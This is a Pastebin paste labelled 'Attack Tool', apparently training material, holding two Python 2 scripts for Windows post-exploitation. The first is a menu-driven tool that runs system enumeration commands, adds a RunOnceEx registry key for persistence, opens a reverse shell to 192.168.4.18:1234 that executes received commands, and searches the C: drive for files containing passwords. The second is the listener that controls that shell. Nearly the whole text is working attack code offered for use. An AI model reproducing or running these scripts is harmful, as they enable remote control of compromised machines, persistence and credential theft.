Advertisement
joemccray

Tool development

Apr 26th, 2019
661
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.57 KB | None | 0 0
  1.  
  2. ###############
  3. # Attack Tool #
  4. ###############
  5. #!/usr/bin/env python
  6.  
  7. import os, sys, re, struct, socket, subprocess
  8.  
  9.  
  10. def menu():
  11. strs = ('Enter 1 user and system enumeration\n'
  12. 'Enter 2 for persistence\n'
  13. 'Enter 3 for reverse shell\n'
  14. 'Enter 4 to pilfer the system\n'
  15. 'Enter 5 to exit : ')
  16. choice = raw_input(strs)
  17. return int(choice)
  18.  
  19. while True: #use while True
  20. choice = menu()
  21. if choice == 1:
  22. os.system("whoami")
  23. os.system("whoami /priv")
  24. os.system("ipconfig /all")
  25. os.system("tasklist /v")
  26. os.system("net start")
  27. os.system("schtasks /query /fo LIST 2>nul | findstr TaskName")
  28. os.system("arp -a")
  29. os.system("route print")
  30. os.system("netsh firewall show state")
  31. elif choice == 2:
  32. os.system("reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001 /v \"Line1\" /d \"||c:\\windows\\system32\\calc.exe\"")
  33. elif choice == 3:
  34. def connect():
  35. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  36. s.connect(("192.168.4.18", 1234))
  37.  
  38. while True: #keep receiving commands
  39. command = s.recv(1024)
  40.  
  41. if 'terminate' in command:
  42. s.close() #close the socket
  43. break
  44.  
  45. else:
  46.  
  47. CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  48. s.send( CMD.stdout.read() ) # send the result
  49. s.send( CMD.stderr.read() ) # incase you mistyped a command.
  50. # we will send back the error
  51. connect()
  52. elif choice == 4:
  53. os.system('cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt')
  54. elif choice == 5:
  55. break
  56.  
  57. menu()
  58.  
  59.  
  60.  
  61.  
  62.  
  63.  
  64.  
  65.  
  66.  
  67.  
  68.  
  69.  
  70.  
  71. ----------------------------------------------
  72.  
  73.  
  74.  
  75. Code to receive your reverse shell:
  76. ------------------------------------
  77. import socket # For Building TCP Connection
  78.  
  79.  
  80. def connect ():
  81.  
  82. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  83. s.bind(("192.168.4.18", 1234))
  84. s.listen(1)
  85. conn, addr = s.accept()
  86. print '[+] We got a connection from: ', addr
  87.  
  88.  
  89. while True:
  90. command = raw_input("Shell> ")
  91.  
  92. if 'terminate' in command:
  93. conn.send('termminate')
  94. conn.close() # close the connection with host
  95. break
  96.  
  97. else:
  98. conn.send(command) #send command
  99. print conn.recv(1024)
  100.  
  101. def main ():
  102. connect()
  103. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement